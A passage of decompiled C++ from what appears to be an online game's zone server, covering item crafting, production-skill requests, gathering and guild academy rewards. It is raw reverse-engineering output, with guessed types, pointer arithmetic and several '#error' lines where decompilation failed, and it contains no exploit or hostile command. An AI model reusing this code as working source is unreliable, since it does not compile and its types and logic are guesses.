*this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::~ItemProducer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::~ItemProducer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::~ItemProducer"); } //----- (0044BCD0) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_WhereProductStore(ItemProducer *this) { ItemProducer *v1; // ebp@1 int v2; // eax@1 ItemDataBox::ItemDataBoxIndex *v3; // esi@1 GatherProduce::RecipeBook::ProductIndex *v4; // eax@1 unsigned __int16 result; // ax@2 ChargedEffectContainer *v6; // edx@3 unsigned __int16 v7; // bx@3 ItemBag *v8; // ecx@3 int v9; // eax@4 InventoryLocking::InventoryCellLock *v10; // eax@6 int v11; // ebx@7 int v12; // eax@9 ChargedEffectContainer *v13; // eax@11 ItemBag *v14; // ecx@11 int v15; // eax@12 GatherProduce::RecipeBook::ProductIndex *v16; // esi@13 int v17; // eax@13 InventoryLocking::InventoryCellLock *v18; // eax@15 int v19; // ST08_4@16 CServerInfo::MY_SERVER *v20; // eax@16 GatherProduce::RecipeBook::ProductIndex *v21; // eax@16 ItemAttributeClass *v22; // esi@16 ItemBoxIterator *v23; // eax@16 InventoryLocking::UnlockedInventoryIterator uii; // [sp+10h] [bp-48h]@6 InventoryLocking::UnlockedInventoryIterator thisa; // [sp+1Ch] [bp-3Ch]@15 ItemBoxIterEmpty ibie; // [sp+28h] [bp-30h]@11 ItemBoxIterIdent ibii; // [sp+38h] [bp-20h]@3 int v28; // [sp+54h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::ip_WhereProductStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->ip_Skill->product; v28 = 0; v3 = ItemDataBox::operator__(&itemdatabox, v2); v4 = v1->ip_Skill; if ( v3 ) { v6 = v1->ip_ChargedEffectContainer; v7 = v4->product; v8 = v1->ip_Inventory; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v8; if ( v6 ) v9 = ((int (__stdcall *)(ChargedEffectContainer *))v8->vfptr->ib_BagSizeInput)(v6); else v9 = ((int (*)(void))v8->vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.ibi_Limit = v9; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = v7; v10 = v1->ip_ItemLock; uii.uii_Iterator = (ItemBoxIterator *)&ibii; LOBYTE(v28) = 1; uii.uii_LockList = v10; uii.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { do { v11 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); if ( v11 != 0 ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v11 + 112) + 24))(v11 + 8); if ( v12 + v1->ip_Skill->productlot <= v3->data->MaxLot ) { v1->ip_Product.cell = (ItemInventoryCell *)v11; memcpy(&v1->ip_Product.iti, (const void *)v11, sizeof(v1->ip_Product.iti)); v16 = v1->ip_Skill; v1->ip_Product.iac = *(ItemAttributeClass **)(v11 + 112); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v11 + 112) + 28))( &v1->ip_Product.iti.iti_itemstruct, v12 + v16->productlot); v17 = uii.uii_Iterator->ibi_finger; v1->ip_Product.iscreated = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_17; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ : Invalid cell", 0); } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ); } v13 = v1->ip_ChargedEffectContainer; v14 = v1->ip_Inventory; LOBYTE(v28) = 0; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibie.baseclass_0.ibi_itembag = v14; if ( v13 ) v15 = ((int (__stdcall *)(ChargedEffectContainer *))v14->vfptr->ib_BagSizeInput)(v13); else v15 = ((int (*)(void))v14->vfptr->ib_BagSizeOutput)(); ibie.baseclass_0.ibi_Limit = v15; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; v18 = v1->ip_ItemLock; thisa.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v28) = 2; thisa.uii_LockList = v18; thisa.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&thisa) ) { v1->ip_Product.cell = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))thisa.uii_Iterator->ibi_itembag)(thisa.uii_Iterator->ibi_finger); v19 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v20 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&v1->ip_Product.iti, 8, v20->nZoneNo, v19); v21 = v1->ip_Skill; v1->ip_Product.iti.iti_itemstruct.itemid = v21->product; v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, v21->product); v22->vfptr->iac_SetLot(v22, &v1->ip_Product.iti.iti_itemstruct, v1->ip_Skill->productlot); v23 = thisa.uii_Iterator; v1->ip_Product.iac = v22; v17 = v23->ibi_finger; v1->ip_Product.iscreated = 1; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_17: v1->ip_Product.slot = v17; --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2817; } else { --funcallanalizer.fca_stackpoint; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2826; } } else { AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_WhereProductStore : Invalid Item", v4->product); --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2819; } return result; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0044BFF0) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_FindRaw(ItemProducer *this, unsigned __int16 raw, int quantity) { ItemProducer *v3; // ebx@1 ItemBag *v4; // ecx@1 ItemBoxIteratorVtbl *v5; // edi@1 ItemBag v6; // edx@1 InventoryLocking::InventoryCellLock *v7; // eax@1 int v9; // ebp@4 int v10; // eax@6 int v11; // ecx@6 int v12; // edx@7 int v13; // edx@7 int v14; // edi@8 InventoryLocking::UnlockedInventoryIterator uii; // [sp+10h] [bp-2Ch]@1 ItemBoxIterIdent ibii; // [sp+1Ch] [bp-20h]@1 int v17; // [sp+38h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::ip_FindRaw"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->ip_Inventory; v5 = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v4; v6.vfptr = v4->vfptr; v17 = 0; ibii.baseclass_0.ibi_Limit = ((int (*)(void))v6.vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = raw; v7 = v3->ip_ItemLock; uii.uii_Iterator = (ItemBoxIterator *)&ibii; LOBYTE(v17) = 1; uii.uii_LockList = v7; uii.uii_InvenType = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2827; } while ( 1 ) { if ( v3->ip_RawNumber >= 0x40u ) { AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_FindRaw : Too many raws", 0); --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = v5; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2827; } v9 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); if ( v9 != 0 ) break; AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_Produce : Invalid cell", 0); LABEL_11: if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ) { ibii.baseclass_0.vfptr = v5; v17 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return (((quantity > 0) - 1) & 0xFFF6) + 2827; } } v10 = (*(int (__stdcall **)(int))(**(_DWORD **)(v9 + 112) + 24))(v9 + 8); v11 = v3->ip_RawNumber << 7; if ( v10 <= quantity ) { *(ItemAttributeClass **)((char *)&v3->ip_Raw[0].iac + v11) = 0; v14 = (int)&v3->ip_Raw[v3->ip_RawNumber].iti; memcpy((void *)v14, (const void *)v9, 0x6Cu); v14 += 108; *(_WORD *)v14 = *(_WORD *)(v9 + 108); *(_BYTE *)(v14 + 2) = *(_BYTE *)(v9 + 110); v3->ip_Raw[v3->ip_RawNumber].slot = uii.uii_Iterator->ibi_finger; v3->ip_Raw[v3->ip_RawNumber].cell = (ItemInventoryCell *)v9; v13 = quantity - v10; *(_DWORD *)&v3->ip_Raw[v3->ip_RawNumber].iscreated = v10; quantity -= v10; } else { memcpy((char *)&v3->ip_Raw[0].iti + v11, (const void *)v9, 0x6Fu); v3->ip_Raw[v3->ip_RawNumber].iac = *(ItemAttributeClass **)(v9 + 112); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v9 + 112) + 28))( &v3->ip_Raw[v3->ip_RawNumber].iti.iti_itemstruct, v10 - quantity); v3->ip_Raw[v3->ip_RawNumber].slot = uii.uii_Iterator->ibi_finger; v12 = quantity; v3->ip_Raw[v3->ip_RawNumber].cell = (ItemInventoryCell *)v9; quantity = 0; *(_DWORD *)&v3->ip_Raw[v3->ip_RawNumber].iscreated = v12; v13 = 0; } ++v3->ip_RawNumber; if ( v13 > 0 ) { v5 = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_11; } --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2817; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0044C330) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_ProduceCheck(ItemProducer *this) { ItemProducer *v1; // edi@1 unsigned __int16 result; // ax@1 unsigned int v3; // esi@2 GatherProduce::RecipeBook::ProductIndex *v4; // eax@3 unsigned __int16 v5; // cx@3 v1 = this; result = ItemProducer::ip_WhereProductStore(this); if ( result == 2817 ) { v3 = 0; v1->ip_RawNumber = 0; while ( 1 ) { v4 = v1->ip_Skill; v5 = v4->raw[v3].item; if ( v5 != -1 ) { result = ItemProducer::ip_FindRaw(v1, v5, v4->raw[v3].quantity); if ( result != 2817 ) break; } ++v3; if ( v3 >= 8 ) return 2817; } } return result; } //----- (0044C390) -------------------------------------------------------- #error "44C390: undefined or illegal type '#434' (funcsize=252)" //----- (0044C6C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemProduce(void *ecx0, unsigned __int16 skill) { void *v2; // esi@1 NETCOMMAND *v3; // ebp@1 char *v4; // edi@1 GatherProduce::RecipeBook::ProductIndex *v5; // ebx@1 int v6; // eax@4 int v7; // edx@5 unsigned __int16 v8; // ax@7 int v9; // eax@11 int v10; // edi@12 ZoneBaseSession *v11; // eax@14 signed int v12; // edx@15 ItemProducer this; // [sp+4h] [bp-20A4h]@5 unsigned int v14; // [sp+2098h] [bp-10h]@17 int v15; // [sp+20A4h] [bp-4h]@1 v2 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (NETCOMMAND *)gpp.pp_Buffer; v15 = 0; v4 = gpp.pp_Buffer + 2; v5 = GatherProduce::RecipeBook::operator__(&recipebook, skill); if ( v5 != 0 ) { ItemProducer::ItemProducer(&this, (#434 *)v2, (ItemBag *)v2 + 8884, v5); v7 = *((_DWORD *)v2 + 14434); LOBYTE(v15) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(char *))(v7 + 16))((char *)v2 + 57736) ) { v3->protocol = 8251; *(_WORD *)v4 = v5->product; *((_WORD *)v4 + 1) = 2826; } else { v8 = ItemProducer::ip_ProduceCheck(&this); if ( v8 == 2817 ) { v3->protocol = 13399; *(_WORD *)v4 = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v10 = ItemProducer::ip_ProductExecute(&this, (#434 *)v2, v3, (PROTO_NC_ITEMDB_PRODUCE_REQ *)v4) + 2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", v10); } v12 = (signed int)((unsigned __int64)(274877907i64 * v5->index->MasteryGain * *((_WORD *)v2 + 45865)) >> 32) >> 6; CharaterSkillList::csl_AddMastery( (CharaterSkillList *)v2 + 3411, (#434 *)v2, skill, v12 + ((unsigned int)v12 >> 31)); goto LABEL_16; } v3->protocol = 8251; *(_WORD *)v4 = v5->product; *((_WORD *)v4 + 1) = v8; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", 6); } LABEL_16: LOBYTE(v15) = 0; ItemProducer::_ItemProducer(&this); goto LABEL_17; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Invalid skill", skill); v3->protocol = 8251; *(_WORD *)v4 = -1; *((_WORD *)v4 + 1) = 2825; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", 6); } LABEL_17: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"); __security_check_cookie(v14); } //----- (0044C970) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { int v3; // edx@1 void *v4; // esi@1 int v5; // eax@5 int v6; // eax@6 int v7; // ST14_4@7 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 char *v10; // eax@8 int v11; // ST04_4@8 int v12; // eax@8 char *v13; // eax@9 int v14; // eax@11 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@8 int v16; // [sp+3Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v16 = 0; v4 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v3); if ( v4 && (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) == *(_DWORD *)&netcmd[2].protocol && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 768))(v4) ) { if ( netcmd[6].protocol == 2817 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v6 + 24))( v6, v4, netcmd[4].protocol, 0) ) { v7 = netcmd[4].protocol; v8 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : "); v9 = DebugLogging::operator<<(v8, v7); DebugLogging::operator<<(v9, &deb_LF); } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8252; *((_WORD *)v10 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v10 + 2) = netcmd[5].protocol; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 32))(v5, netcmd[4].protocol); } v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8251; *((_WORD *)v13 + 1) = netcmd[5].protocol; *((_WORD *)v13 + 2) = netcmd[6].protocol; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"); } //----- (0044CB60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 char v6; // al@1 signed int v7; // ebx@1 bool v8; // zf@4 unsigned __int16 v9; // ax@5 int v10; // edx@10 int v11; // eax@17 int v12; // eax@32 int v13; // eax@35 char *v14; // esi@36 ZoneBaseSession *v15; // eax@38 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = _S20_4; *(_WORD *)gpp.pp_Buffer = 18467; v7 = 0; *((_WORD *)v5 + 1) = *(_WORD *)(netcmd + 2); if ( !(v6 & 1) ) { _S20_4 |= 1u; cmc_34.cmc_AllowMode = 22; atexit(_E21_4); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_34.cmc_AllowMode) ) { *((_WORD *)v5 + 2) = 2820; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 6) == 0; goto LABEL_30; } v9 = *(_WORD *)(netcmd + 2); v10 = v9 == skilldatabox.sdb_SpecSkill.ss_PortionProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_ScrollProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_StoneProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_ResolveProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_CompoundProductMain; if ( !v10 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : ProductField Error", v9); *((_WORD *)v5 + 2) = 2834; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_31; LABEL_17: v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); goto LABEL_39; } if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, v9) ) { *((_WORD *)v5 + 2) = 2835; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_31: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6); goto LABEL_39; } goto LABEL_17; } if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, skilldatabox.sdb_SpecSkill.ss_PortionProductMain) ) v7 = 1; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, skilldatabox.sdb_SpecSkill.ss_ScrollProductMain) ) ++v7; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, skilldatabox.sdb_SpecSkill.ss_StoneProductMain) ) ++v7; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, skilldatabox.sdb_SpecSkill.ss_ResolveProductMain) ) ++v7; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3411, skilldatabox.sdb_SpecSkill.ss_CompoundProductMain) ) ++v7; if ( v7 >= 2 ) { *((_WORD *)v5 + 2) = 2836; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 6) == 0; LABEL_30: if ( !v8 ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); goto LABEL_39; } goto LABEL_31; } *((_WORD *)v5 + 2) = 2817; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6); } v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18433; *((_WORD *)v14 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v14 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v14 + 6) = *(_WORD *)(netcmd + 2); *(_WORD *)(v14 + 15) = -1; v14[14] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v15); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_SkillScroll_Result : Packet Too Long", 17); } LABEL_39: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"); } //----- (0044CEA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Gather(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_GatherComplete(v1, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"); return 0; } // 44B470: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GatherComplete(_DWORD, _DWORD); //----- (0044CF40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v4 + 23041) = 0; *((_DWORD *)v4 + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v4 + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v4 + 23044) = 0; ShineObjectClass::ShinePlayer::sp_GatherComplete(v4, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); } // 44B470: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GatherComplete(_DWORD, _DWORD); //----- (0044D000) -------------------------------------------------------- #error "44D000: undefined or illegal type '#325' (funcsize=194)" //----- (0044D2D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreGradeFill(int this, char Grade) { char result; // al@1 result = Grade; *(_BYTE *)(this + 68216) = Grade; return result; } //----- (0044D2E0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildAcademyRewardStoreGrade(int this) { return *(_BYTE *)(this + 68216) <= 0u; } //----- (0044D2F0) -------------------------------------------------------- #error "44D2F0: undefined or illegal type '#325' (funcsize=29)" //----- (0044D340) -------------------------------------------------------- #error "44D340: undefined or illegal type '#325' (funcsize=71)" //----- (0044D460) -------------------------------------------------------- void __thiscall ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff(ShineGuildAcademyGuildBuff *this, PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *pGuildBuff) { this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyGuildBuff::_vftable_; this->sgagb_GuildBuff = pGuildBuff; this->sgagb_dic = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, pGuildBuff->BuffName); } // 5AFB40: using guessed type int (__stdcall *ShineGuildAcademyGuildBuff___vftable_)(int, int nGuildNo); //----- (0044D4C0) -------------------------------------------------------- #error "44D4C0: undefined or illegal type '#325' (funcsize=131)" //----- (0044D660) -------------------------------------------------------- #error "44D660: undefined or illegal type '#325' (funcsize=98)" //----- (0044D7B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck(void *this, int reward_ack) { void *v2; // ebp@1 signed int v3; // esi@1 int v4; // ebx@1 bool v5; // zf@1 int v6; // edi@5 char *v7; // esi@8 int v8; // eax@8 __int64 v9; // qax@8 int v10; // edi@10 char *v11; // esi@12 int v12; // eax@12 char *v13; // [sp-Ch] [bp-64h]@2 signed int i; // [sp+8h] [bp-50h]@10 int v15; // [sp+Ch] [bp-4Ch]@5 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+14h] [bp-44h]@8 unsigned int v17; // [sp+48h] [bp-10h]@15 int v18; // [sp+54h] [bp-4h]@1 int 